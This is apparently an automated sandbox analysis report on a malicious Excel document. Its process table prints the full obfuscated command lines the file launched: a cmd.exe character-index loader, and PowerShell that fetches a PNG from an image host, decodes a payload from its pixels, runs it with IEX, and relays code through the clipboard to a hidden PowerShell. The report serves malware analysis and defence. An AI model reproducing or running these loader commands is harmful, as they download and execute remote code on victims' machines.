54303e5a...fd2e | Grouped Behavior
Logo
Try VMRay Analyzer
VTI SCORE: 95/100
Dynamic Analysis Report
Classification: -

54303e5aa05db2becbef0978baa60775858899b17a5d372365ba3c5b1220fd2e (SHA256)

DOC2410201810718458.xls

Excel Document

Created at 2018-10-24 06:15:00

...

Notifications (1/1)

Due to a WHOIS service error, no query could be made to get WHOIS data of any contacted domain.

Grouped Sequential

Monitored Processes

Process Graph

Process Graph Legend
Process Overview
»
ID PID Monitor Reason Integrity Level Image Name Command Line Origin ID
#1 0x8c8 Analysis Target Medium excel.exe "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" -
#2 0xad8 Child Process Medium cmd.exe cmd.exe /V:ON/C"set lW=o.crm`VPx57^^l(SEX]L8{-Y=GZU:K%0B[9ia2eb*yftp_/T$j1'vdMF^|C\Hwk^&)WAIDn+}h4,sg6;3 R""ON&&for %9 in (15,2,70,82,45,78,78,47,71,24,10,23,32,42,22,7,15,17,13,50,53,50,68,50,64,46,70,50,62,78,76,78,78,78,47,71,19,16,10,23,78,32,42,40,43,37,17,13,50,14,40,73,42,15,4,1,46,50,68,50,15,8,50,68,50,46,50,68,50,1,15,83,2,50,68,50,0,50,68,50,66,65,67,74,50,62,76,78,78,1,13,81,20,49,69,20,30,69,81,78,21,41,50,12,50,72,50,73,35,50,62,78,13,50,35,50,62,78,13,81,20,30,69,20,36,69,20,49,69,81,78,21,41,50,83,37,59,50,72,50,2,42,50,72,50,21,82,38,48,37,50,62,76,11,11,11,61,13,81,20,30,69,20,49,69,81,21,41,78,50,64,52,52,21,46,50,72,50,40,43,37,50,62,78,21,64,73,73,37,4,38,12,40,83,35,4,37,78,81,14,40,73,42,37,4,1,66,3,35,59,34,67,74,81,76,47,20,74,69,23,11,11,11,61,13,50,35,50,62,78,13,81,20,71,69,20,36,69,20,49,69,20,30,69,20,77,69,81,21,41,78,50,1,31,34,50,72,50,34,67,74,50,72,50,59,50,72,50,42,4,35,43,50,72,50,14,40,73,42,37,4,1,66,3,35,50,62,13,13,11,11,11,61,13,50,35,50,62,78,13,81,20,30,69,20,49,69,20,77,69,20,36,69,81,78,21,41,78,50,83,37,42,1,50,72,50,63,37,50,72,50,42,50,72,50,38,56,12,34,37,67,50,62,62,1,13,81,20,49,69,20,30,69,81,78,21,41,50,43,37,67,79,37,35,52,50,72,50,82,50,62,1,65,67,51,0,60,37,13,81,70,42,42,43,73,27,45,45,34,4,35,74,37,73,36,1,34,4,74,38,0,8,1,2,0,4,45,2,35,45,19,19,45,64,36,25,14,12,63,75,14,44,0,1,43,67,74,81,62,62,76,47,20,82,69,23,11,11,11,61,13,50,35,50,62,78,13,81,20,30,69,20,49,69,81,21,41,50,31,40,42,37,50,72,50,32,17,50,62,78,49,19,75,30,76,13,30,1,1,36,62,11,11,11,55,1,13,50,29,50,62,20,41,0,3,37,35,2,70,13,47,20,8,69,78,34,67,13,30,1,1,75,49,33,62,62,20,47,20,43,69,23,47,20,74,69,1,13,81,20,30,69,20,49,69,81,78,21,41,78,50,24,37,42,7,34,50,72,50,8,37,12,50,62,1,65,67,51,0,60,37,13,47,20,8,69,72,47,20,44,69,62,76,47,20,0,69,32,47,20,44,69,39,75,36,30,68,47,20,16,69,17,23,13,78,78,47,71,74,10,27,27,13,81,20,49,69,20,30,69,81,21,41,78,50,12,0,0,3,50,72,50,54,50,62,1,65,67,51,0,60,37,13,13,47,20,43,69,1,81,31,81,21,38,35,67,52,49,9,62,39,49,75,62,21,38,0,3,13,47,20,43,69,1,81,74,81,78,21,38,35,67,52,78,49,9,62,62,69,69,76,11,11,11,61,13,81,20,30,69,20,49,69,81,78,21,41,50,65,50,72,50,15,16,50,62,13,78,13,78,18,14,78,78,51,64,79,65,35,38,18,15,27,71,19,8,10,78,62,1,6,35,12,26,15,27,27,81,35,5,73,2,34,34,81,1,81,74,37,42,5,73,5,46,3,65,67,24,81,13,47,20,82,69,32,30,1,1,49,77,71,49,17,62,62,78,55,2,27,57,59,65,67,52,82,59,73,57,14,40,14,42,37,4,77,36,57,56,12,34,7,1,15,8,15,78,61,61,56,53,52,1,15,8,37,78,78,78,45,2,78,43,0,59,37,3,14,58,15,18,18,78,21,15,8,37,56,26,46,65,82,83,43,82,12,78,31,22,7,35,73,73,78,78,21,83,0,67,34,83,78,21,59,65,67,52,82,59,14,46,22,78,58,65,66,66,15,67,78,21,67,82,43,79,82,54,34,78,78,21,73,42,78,78,21,83,0,12,82,74,82,78,78,78,78,78,1,78,13,78,78,57,81,20,30,69,20,49,69,20,36,69,57,81,78,21,41,78,50,64,52,52,50,72,13,78,57,81,20,30,69,20,49,69,57,81,78,21,41,50,21,50,72,50,46,40,43,50,78,62,72,50,37,50,78,78,62,78,21,64,73,73,37,4,78,13,57,81,20,77,69,20,49,69,20,9,69,20,30,69,20,71,69,20,36,69,57,81,78,21,41,78,13,78,78,57,81,20,36,69,20,49,69,20,30,69,57,81,78,21,41,50,52,50,72,50,1,63,34,67,50,72,50,37,4,50,78,78,62,72,50,40,73,50,72,50,73,50,72,50,14,50,72,13,78,57,81,20,36,69,20,49,69,20,30,69,57,81,21,41,78,50,54,0,3,4,50,72,50,1,50,72,50,0,59,73,50,62,72,50,42,50,62,78,78,78,76,78,78,78,11,11,11,61,78,78,13,78,78,78,47,20,37,5,83,6,5,27,2,82,53,73,5,43,37,2,69,32,71,72,49,9,72,36,9,17,21,48,82,65,83,50,50,62,78,13,78,78,13,78,32,14,22,14,42,37,53,1,63,34,83,66,0,63,73,1,54,0,3,53,14,1,56,18,65,7,38,82,35,79,52,17,27,27,13,57,81,20,30,69,20,49,69,57,81,78,21,41,78,50,24,50,72,13,57,81,20,30,69,20,49,69,57,81,78,21,41,50,37,50,72,50,42,42,15,8,46,50,78,62,62,1,57,81,34,5,83,51,5,0,28,15,57,81,13,78,78,62,78,78,62,78,78,62,78,76,78,78,32,14,40,73,42,37,4,1,63,34,67,52,0,59,73,1,54,0,3,4,73,1,56,12,34,43,38,0,35,3,52,17,27,27,13,57,81,20,30,69,20,49,69,57,81,78,21,41,50,56,12,50,72,50,37,35,3,50,78,62,1,57,81,34,5,83,51,82,5,60,15,57,81,13,78,62,84)do set Rc=!Rc!!lW:~%9,1!&&if %9 geq 84 cmd /C!Rc:~-1334!" #1
#3 0xb24 Child Process Medium cmd.exe cmd /CEchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing','w','tmap','System.Dra')((^^^&('a') ("{0}{1}{3}{2}" -f 'Net.','We','t','bClien')).("{1}{0}" -f'penRead','O').Invoke("https://images2.imgbox.com/ca/88/A2ZSlW6S_o.png"));${O}=^^^&('a') ("{0}{1}"-f'Byte','[]') 1860;(0..2)^^^|.('%'){foreach(${x} in(0..619)){${p}=${g}.("{0}{1}" -f 'GetPi','xel').Invoke(${x},${_});${o}[${_}*620+${X}]=( $4g7::("{1}{0}"-f 'loor','F').Invoke((${p}."B"-band15)*16)-bor(${p}."g" -band 15))}};^^^&("{0}{1}" -f'I','EX')( ( LS vARIabLE:48x7 ).ValUE::"a`scii"."get`s`TrInG"(${O}[0..1341])) |c:\wIndOws\SyStem32\CliP.ExE &&CMd.Exe /c powerSHELL -ExeCUTIONpOl BYPass -NoniN -wIndOwSTY HIDDEn -nOpROFi -st -NolOgO . ( \"{0}{1}{2}\" -f 'Add',( \"{0}{1}\" -f'-','Typ' ),'e' ) -Assem (\"{3}{1}{5}{0}{4}{2}\" -f ( \"{2}{1}{0}\" -f'd','.Win','em' ),'ys','s','S',( \"{2}{1}{0}\"-f 'Form','.','ows'),'t') ; ^^^& ( ${e`NV`:cOMs`pec}[4,15,25]-jOIN'') ( ( [SYSteM.WiNDoWs.ForMS.CLIPbOaRd]::(\"{0}{1}\" -f 'G',(\"{0}{1}\" -f'e','ttExT' )).\"i`Nv`oKE\"( ) ) ) ; [System.Windows.Forms.Clipboard]::(\"{0}{1}\" -f'Cl','ear' ).\"i`NvO`kE\"( ) #2
#4 0xb2c Child Process Medium cmd.exe C:\Windows\system32\cmd.exe /S /D /c" EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing','w','tmap','System.Dra')((^&('a') ("{0}{1}{3}{2}" -f 'Net.','We','t','bClien')).("{1}{0}" -f'penRead','O').Invoke("https://images2.imgbox.com/ca/88/A2ZSlW6S_o.png"));${O}=^&('a') ("{0}{1}"-f'Byte','[]') 1860;(0..2)^|.('%'){foreach(${x} in(0..619)){${p}=${g}.("{0}{1}" -f 'GetPi','xel').Invoke(${x},${_});${o}[${_}*620+${X}]=( $4g7::("{1}{0}"-f 'loor','F').Invoke((${p}."B"-band15)*16)-bor(${p}."g" -band 15))}};^&("{0}{1}" -f'I','EX')( ( LS vARIabLE:48x7 ).ValUE::"a`scii"."get`s`TrInG"(${O}[0..1341])) " #3
#5 0xb34 Child Process Medium clip.exe c:\wIndOws\SyStem32\CliP.ExE #3
#6 0xb3c Child Process Medium cmd.exe CMd.Exe /c powerSHELL -ExeCUTIONpOl BYPass -NoniN -wIndOwSTY HIDDEn -nOpROFi -st -NolOgO . ( \"{0}{1}{2}\" -f 'Add',( \"{0}{1}\" -f'-','Typ' ),'e' ) -Assem (\"{3}{1}{5}{0}{4}{2}\" -f ( \"{2}{1}{0}\" -f'd','.Win','em' ),'ys','s','S',( \"{2}{1}{0}\"-f 'Form','.','ows'),'t') ; ^& ( ${e`NV`:cOMs`pec}[4,15,25]-jOIN'') ( ( [SYSteM.WiNDoWs.ForMS.CLIPbOaRd]::(\"{0}{1}\" -f 'G',(\"{0}{1}\" -f'e','ttExT' )).\"i`Nv`oKE\"( ) ) ) ; [System.Windows.Forms.Clipboard]::(\"{0}{1}\" -f'Cl','ear' ).\"i`NvO`kE\"( ) #3
#7 0xb44 Child Process Medium powershell.exe powerSHELL -ExeCUTIONpOl BYPass -NoniN -wIndOwSTY HIDDEn -nOpROFi -st -NolOgO . ( \"{0}{1}{2}\" -f 'Add',( \"{0}{1}\" -f'-','Typ' ),'e' ) -Assem (\"{3}{1}{5}{0}{4}{2}\" -f ( \"{2}{1}{0}\" -f'd','.Win','em' ),'ys','s','S',( \"{2}{1}{0}\"-f 'Form','.','ows'),'t') ; & ( ${e`NV`:cOMs`pec}[4,15,25]-jOIN'') ( ( [SYSteM.WiNDoWs.ForMS.CLIPbOaRd]::(\"{0}{1}\" -f 'G',(\"{0}{1}\" -f'e','ttExT' )).\"i`Nv`oKE\"( ) ) ) ; [System.Windows.Forms.Clipboard]::(\"{0}{1}\" -f'Cl','ear' ).\"i`NvO`kE\"( ) #6

Behavior Information - Grouped by Category

Process #1: excel.exe
5422 0
»
Information Value
ID #1
File Name c:\program files\microsoft office\root\office16\excel.exe
Command Line "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"
Initial Working Directory C:\Users\aETAdzjz\Desktop\
Monitor Start Time: 00:00:34, Reason: Analysis Target
Unmonitor End Time: 00:03:46, Reason: Self Terminated
Monitor Duration 00:03:12
OS Process Information
»
Information Value
PID 0x8c8
Parent PID 0x39c (c:\windows\explorer.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username YKYD69Q\aETAdzjz
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x A88
0x A84
0x A80
0x A7C
0x A78
0x A74
0x A70
0x A64
0x A60
0x 998
0x 994
0x 98C
0x 988
0x 984
0x 97C
0x 978
0x 974
0x 96C
0x 934
0x 930
0x 92C
0x 928
0x 924
0x 920
0x 91C
0x 914
0x 910
0x 90C
0x 908
0x 8E8
0x 8E4
0x 8E0
0x 8DC
0x 8D8
0x 8D4
0x 8D0
0x 8CC
0x AA4
0x AA8
0x AD4
0x B6C
0x 56C
0x 8A4
0x A98
0x 5C4
Region
»
Name Start VA End VA Type Permissions Monitored Dumped YARA Actions
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory rw True False False -
pagefile_0x0000000000020000 0x00020000 0x00020fff Pagefile Backed Memory r True False False -
pagefile_0x0000000000030000 0x00030000 0x00033fff Pagefile Backed Memory r True False False -
pagefile_0x0000000000040000 0x00040000 0x00040fff Pagefile Backed Memory r True False False -
locale.nls 0x00050000 0x000b6fff Memory Mapped File r False False False -
private_0x00000000000c0000 0x000c0000 0x000c0fff Private Memory rw True False False -
private_0x00000000000d0000 0x000d0000 0x001cffff Private Memory rw True False False -
private_0x00000000001d0000 0x001d0000 0x002cffff Private Memory rw True False False -
private_0x00000000002d0000 0x002d0000 0x002d0fff Private Memory rw True False False -
pagefile_0x00000000002e0000 0x002e0000 0x002e0fff Pagefile Backed Memory rw True False False -
private_0x00000000002f0000 0x002f0000 0x003effff Private Memory rw True False False -
pagefile_0x00000000003f0000 0x003f0000 0x003f6fff Pagefile Backed Memory r True False False -
pagefile_0x0000000000400000 0x00400000 0x00401fff Pagefile Backed Memory rw True False False -
private_0x0000000000410000 0x00410000 0x00410fff Private Memory rw True False False -
private_0x0000000000420000 0x00420000 0x00420fff Private Memory rw True False False -
pagefile_0x0000000000430000 0x00430000 0x00432fff Pagefile Backed Memory r True False False -
private_0x0000000000440000 0x00440000 0x0044ffff Private Memory - True False False -
pagefile_0x0000000000450000 0x00450000 0x00452fff Pagefile Backed Memory r True False False -
pagefile_0x0000000000460000 0x00460000 0x00462fff Pagefile Backed Memory r True False False -
pagefile_0x0000000000470000 0x00470000 0x00472fff Pagefile Backed Memory r True False False -
pagefile_0x0000000000480000 0x00480000 0x00482fff Pagefile Backed Memory r True False False -
pagefile_0x0000000000490000 0x00490000 0x00492fff Pagefile Backed Memory r True False False -
pagefile_0x00000000004a0000 0x004a0000 0x004a1fff Pagefile Backed Memory r True False False -
pagefile_0x00000000004b0000 0x004b0000 0x004b1fff Pagefile Backed Memory r True False False -
private_0x00000000004c0000 0x004c0000 0x004c0fff Private Memory rw True False False -
private_0x00000000004d0000 0x004d0000 0x0050ffff Private Memory rw True False False -
pagefile_0x0000000000510000 0x00510000 0x00510fff Pagefile Backed Memory rw True False False -
private_0x0000000000520000 0x00520000 0x0052ffff Private Memory rw True False False -
pagefile_0x0000000000530000 0x00530000 0x006b7fff Pagefile Backed Memory r True False False -
pagefile_0x00000000006c0000 0x006c0000 0x00840fff Pagefile Backed Memory r True False False -
pagefile_0x0000000000850000 0x00850000 0x01c4ffff Pagefile Backed Memory r True False False -
sortdefault.nls 0x01c50000 0x01f1efff Memory Mapped File r False False False -
pagefile_0x0000000001f20000 0x01f20000 0x02312fff Pagefile Backed Memory r True False False -
private_0x0000000002320000 0x02320000 0x0241ffff Private Memory rw True False False -
private_0x0000000002420000 0x02420000 0x0242ffff Private Memory rw True False False -
private_0x0000000002430000 0x02430000 0x0262ffff Private Memory rw True False False -
pagefile_0x0000000002630000 0x02630000 0x0270efff Pagefile Backed Memory r True False False -
pagefile_0x0000000002710000 0x02710000 0x02711fff Pagefile Backed Memory r True False False -
index.dat 0x02720000 0x0272bfff Memory Mapped File rw True False False -
index.dat 0x02730000 0x02737fff Memory Mapped File rw True False False -
private_0x0000000002740000 0x02740000 0x0274ffff Private Memory rw True False False -
index.dat 0x02750000 0x0275ffff Memory Mapped File rw True False False -
pagefile_0x0000000002760000 0x02760000 0x02760fff Pagefile Backed Memory r True False False -
pagefile_0x0000000002770000 0x02770000 0x02770fff Pagefile Backed Memory r True False False -
pagefile_0x0000000002780000 0x02780000 0x02780fff Pagefile Backed Memory r True False False -
pagefile_0x0000000002790000 0x02790000 0x02790fff Pagefile Backed Memory r True False False -
pagefile_0x00000000027a0000 0x027a0000 0x027a4fff Pagefile Backed Memory rw True False False -
private_0x00000000027b0000 0x027b0000 0x0282ffff Private Memory rw True False False -
private_0x0000000002830000 0x02830000 0x02830fff Private Memory rw True False False -
pagefile_0x0000000002840000 0x02840000 0x02841fff Pagefile Backed Memory r True False False -
private_0x0000000002850000 0x02850000 0x02850fff Private Memory rw True False False -
private_0x0000000002860000 0x02860000 0x02860fff Private Memory rw True False False -
private_0x0000000002870000 0x02870000 0x0296ffff Private Memory rw True False False -
private_0x0000000002970000 0x02970000 0x02970fff Private Memory rw True False False -
private_0x0000000002980000 0x02980000 0x02980fff Private Memory rw True False False -
private_0x0000000002990000 0x02990000 0x02990fff Private Memory rw True False False -
pagefile_0x00000000029a0000 0x029a0000 0x029a1fff Pagefile Backed Memory r True False False -
private_0x00000000029b0000 0x029b0000 0x02aaffff Private Memory rw True False False -
pagefile_0x0000000002ab0000 0x02ab0000 0x02ab0fff Pagefile Backed Memory r True False False -
{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000017.db 0x02ac0000 0x02adffff Memory Mapped File r True False False -
pagefile_0x0000000002ae0000 0x02ae0000 0x02ae0fff Pagefile Backed Memory rw True False False -
private_0x0000000002af0000 0x02af0000 0x02af0fff Private Memory rw True False False -
private_0x0000000002b00000 0x02b00000 0x02bfffff Private Memory rw True False False -
xlintl32.dll 0x02c00000 0x03c47fff Memory Mapped File r False False False -
private_0x0000000003c50000 0x03c50000 0x03c61fff Private Memory rw True False False -
pagefile_0x0000000003c70000 0x03c70000 0x03c71fff Pagefile Backed Memory r True False False -
pagefile_0x0000000003c80000 0x03c80000 0x03c81fff Pagefile Backed Memory r True False False -
pagefile_0x0000000003c90000 0x03c90000 0x03c90fff Pagefile Backed Memory r True False False -
private_0x0000000003ca0000 0x03ca0000 0x03ca1fff Private Memory rw True False False -
cversions.2.db 0x03cb0000 0x03cb3fff Memory Mapped File r True False False -
c_1255.nls 0x03cc0000 0x03cd0fff Memory Mapped File r False False False -
private_0x0000000003ce0000 0x03ce0000 0x03ceffff Private Memory rw True False False -
pagefile_0x0000000003cf0000 0x03cf0000 0x03cf1fff Pagefile Backed Memory r True False False -
private_0x0000000003d00000 0x03d00000 0x03d01fff Private Memory rw True False False -
private_0x0000000003d10000 0x03d10000 0x03e0ffff Private Memory rw True False False -
private_0x0000000003e10000 0x03e10000 0x03f0ffff Private Memory rw True False False -
private_0x0000000003f10000 0x03f10000 0x03f10fff Private Memory rw True False False -
private_0x0000000003f20000 0x03f20000 0x03f2ffff Private Memory rw True False False -
private_0x0000000003f30000 0x03f30000 0x03f30fff Private Memory rw True False False -
private_0x0000000003f40000 0x03f40000 0x03f40fff Private Memory rw True False False -
private_0x0000000003f50000 0x03f50000 0x03f50fff Private Memory rw True False False -
private_0x0000000003f60000 0x03f60000 0x03f60fff Private Memory rw True False False -
private_0x0000000003f70000 0x03f70000 0x0406ffff Private Memory rw True False False -
private_0x0000000004070000 0x04070000 0x04070fff Private Memory rw True False False -
private_0x0000000004080000 0x04080000 0x04080fff Private Memory rw True False False -
private_0x0000000004090000 0x04090000 0x04090fff Private Memory rw True False False -
private_0x00000000040a0000 0x040a0000 0x040a0fff Private Memory rw True False False -
pagefile_0x00000000040b0000 0x040b0000 0x040b1fff Pagefile Backed Memory r True False False -
private_0x00000000040c0000 0x040c0000 0x041bffff Private Memory rw True False False -
private_0x00000000041c0000 0x041c0000 0x041d1fff Private Memory rw True False False -
cversions.2.db 0x041e0000 0x041e3fff Memory Mapped File r True False False -
private_0x00000000041f0000 0x041f0000 0x0426ffff Private Memory rw True False False -
pagefile_0x0000000004270000 0x04270000 0x04271fff Pagefile Backed Memory r True False False -
private_0x0000000004280000 0x04280000 0x04280fff Private Memory rw True False False -
private_0x0000000004290000 0x04290000 0x0438ffff Private Memory rw True False False -
private_0x0000000004390000 0x04390000 0x0448ffff Private Memory rw True False False -
kernelbase.dll.mui 0x04490000 0x0454ffff Memory Mapped File rw False False False -
private_0x0000000004550000 0x04550000 0x045cffff Private Memory rwx True False False -
private_0x00000000045d0000 0x045d0000 0x04617fff Private Memory rw True False False -
private_0x0000000004620000 0x04620000 0x0462ffff Private Memory rw True False False -
private_0x0000000004630000 0x04630000 0x04630fff Private Memory rw True False False -
segoeui.ttf 0x04640000 0x046befff Memory Mapped File r False False False -
private_0x00000000046c0000 0x046c0000 0x047bffff Private Memory rw True False False -
pagefile_0x00000000047c0000 0x047c0000 0x04bbffff Pagefile Backed Memory r True False False -
private_0x0000000004bc0000 0x04bc0000 0x04fbffff Private Memory rw True False False -
tahoma.ttf 0x04fc0000 0x0506afff Memory Mapped File r False False False -
private_0x0000000005070000 0x05070000 0x05070fff Private Memory rw True False False -
private_0x0000000005080000 0x05080000 0x0517ffff Private Memory rw True False False -
private_0x0000000005180000 0x05180000 0x0527ffff Private Memory rw True False False -
private_0x0000000005280000 0x05280000 0x05280fff Private Memory rw True False False -
private_0x0000000005290000 0x05290000 0x05290fff Private Memory rw True False False -
private_0x00000000052a0000 0x052a0000 0x052a0fff Private Memory rw True False False -
pagefile_0x00000000052b0000 0x052b0000 0x052b1fff Pagefile Backed Memory r True False False -
private_0x00000000052c0000 0x052c0000 0x052c0fff Private Memory rw True False False -
private_0x00000000052d0000 0x052d0000 0x053cffff Private Memory rw True False False -
pagefile_0x00000000053d0000 0x053d0000 0x05712fff Pagefile Backed Memory r True False False -
private_0x0000000005720000 0x05720000 0x05767fff Private Memory rw True False False -
comdlg32.dll.mui 0x05770000 0x0577cfff Memory Mapped File rw False False False -
pagefile_0x0000000005780000 0x05780000 0x05781fff Pagefile Backed Memory r True False False -
private_0x0000000005790000 0x05790000 0x05790fff Private Memory rw True False False -
pagefile_0x00000000057a0000 0x057a0000 0x057a1fff Pagefile Backed Memory r True False False -
private_0x00000000057b0000 0x057b0000 0x057b1fff Private Memory rw True False False -
private_0x00000000057c0000 0x057c0000 0x058bffff Private Memory rw True False False -
pagefile_0x00000000058c0000 0x058c0000 0x058c1fff Pagefile Backed Memory r True False False -
private_0x00000000058d0000 0x058d0000 0x0594ffff Private Memory rw True False False -
private_0x0000000005950000 0x05950000 0x05952fff Private Memory rw True False False -
private_0x0000000005960000 0x05960000 0x05962fff Private Memory rw True False False -
private_0x0000000005970000 0x05970000 0x05a6ffff Private Memory rw True False False -
private_0x0000000005a70000 0x05a70000 0x05a70fff Private Memory rw True False False -
private_0x0000000005a80000 0x05a80000 0x05a82fff Private Memory rw True False False -
private_0x0000000005a90000 0x05a90000 0x05b8ffff Private Memory rw True False False -
{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000001c.db 0x05b90000 0x05bbffff Memory Mapped File r True False False -
private_0x0000000005bc0000 0x05bc0000 0x05bc2fff Private Memory rw True False False -
private_0x0000000005bd0000 0x05bd0000 0x05bd0fff Private Memory rw True False False -
private_0x0000000005be0000 0x05be0000 0x05beffff Private Memory rw True False False -
private_0x0000000005bf0000 0x05bf0000 0x05bf0fff Private Memory rw True False False -
private_0x0000000005c00000 0x05c00000 0x05c01fff Private Memory rw True False False -
private_0x0000000005c10000 0x05c10000 0x05c10fff Private Memory rw True False False -
private_0x0000000005c20000 0x05c20000 0x05c2ffff Private Memory rw True False False -
pagefile_0x0000000005c30000 0x05c30000 0x0642ffff Pagefile Backed Memory rw True False False -
private_0x0000000006430000 0x06430000 0x0652ffff Private Memory rw True False False -
{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db 0x06530000 0x06595fff Memory Mapped File r True False False -
private_0x00000000065a0000 0x065a0000 0x065a0fff Private Memory rw True False False -
private_0x00000000065b0000 0x065b0000 0x066affff Private Memory rw True False False -
pagefile_0x00000000066b0000 0x066b0000 0x066b1fff Pagefile Backed Memory r True False False -
cversions.2.db 0x066c0000 0x066c3fff Memory Mapped File r True False False -
private_0x00000000066d0000 0x066d0000 0x066d0fff Private Memory rw True False False -
private_0x00000000066e0000 0x066e0000 0x066e0fff Private Memory rw True False False -
{40fc8d7d-05ed-4feb-b03b-6c100659ef5c}.2.ver0x0000000000000001.db 0x066f0000 0x066f0fff Memory Mapped File r True False False -
cversions.2.db 0x06700000 0x06703fff Memory Mapped File r True False False -
For performance reasons, the remaining 401 entries are omitted.
The remaining entries can be found in flog.txt.
Host Behavior
Registry (59)
»
Operation Key Additional Information Success Count Logfile
Create Key HKEY_CURRENT_USER\Software\Microsoft\VBA\7.1\Common - True 1
Fn
Open Key HKEY_CLASSES_ROOT\Licenses - True 1
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib - True 1
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib\{00020813-0000-0000-C000-000000000046} - True 1
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib\{00020813-0000-0000-C000-000000000046}\1.9 - True 1
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib\{00020813-0000-0000-C000-000000000046}\1.9\409 - False 1
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib\{00020813-0000-0000-C000-000000000046}\1.9\9 - False 1
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib\{00020813-0000-0000-C000-000000000046}\1.9\0 - True 1
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib\{00020813-0000-0000-C000-000000000046}\1.9\0\win64 - True 1
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib\{00020813-0000-0000-C000-000000000046}\1.9\0 - True 1
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib - True 2
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib\{00020430-0000-0000-C000-000000000046} - True 1
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib\{00020430-0000-0000-C000-000000000046}\2.0 - True 1
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib\{00020430-0000-0000-C000-000000000046}\2.0\0 - True 2
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib\{00020430-0000-0000-C000-000000000046}\2.0\0\win64 - True 1
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib\{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52} - True 1
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib\{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}\2.8 - True 1
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib\{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}\2.8\0 - True 1
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib\{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}\2.8\0\win64 - True 1
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib\{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}\2.8\0 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\VBA\7.1\Common - True 1
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib - True 2
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib\{00020430-0000-0000-C000-000000000046} - True 1
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib\{00020430-0000-0000-C000-000000000046}\2.0 - True 1
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib\{00020430-0000-0000-C000-000000000046}\2.0\0 - True 2
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib\{00020430-0000-0000-C000-000000000046}\2.0\0\win64 - True 1
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib\{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52} - True 1
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib\{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}\2.8 - True 1
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib\{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}\2.8\0 - True 1
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib\{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}\2.8\0\win64 - True 1
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib\{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}\2.8\0 - True 1
Fn
Read Value HKEY_CLASSES_ROOT\Licenses\8804558B-B773-11d1-BC3E-0000F87552E7 data = } False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\VBA\7.1\Common value_name = RequireDeclaration, data = 111, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\VBA\7.1\Common value_name = CompileOnDemand, data = 0, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\VBA\7.1\Common value_name = NotifyUserBeforeStateLoss, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\VBA\7.1\Common value_name = BackGroundCompile, data = 0, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\VBA\7.1\Common value_name = BreakOnAllErrors, data = 255, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\VBA\7.1\Common value_name = BreakOnServerErrors, data = 0, type = REG_NONE False 1
Fn
Read Value HKEY_CLASSES_ROOT\TypeLib\{00020813-0000-0000-C000-000000000046}\1.9\0\win64 data = C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE True 1
Fn
Read Value HKEY_CLASSES_ROOT\TypeLib\{00020430-0000-0000-C000-000000000046}\2.0\0\win64 data = C:\Windows\system32\stdole2.tlb True 2
Fn
Read Value HKEY_CLASSES_ROOT\TypeLib\{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}\2.8\0\win64 data = C:\Program Files\Common Files\Microsoft Shared\OFFICE16\MSO.DLL True 2
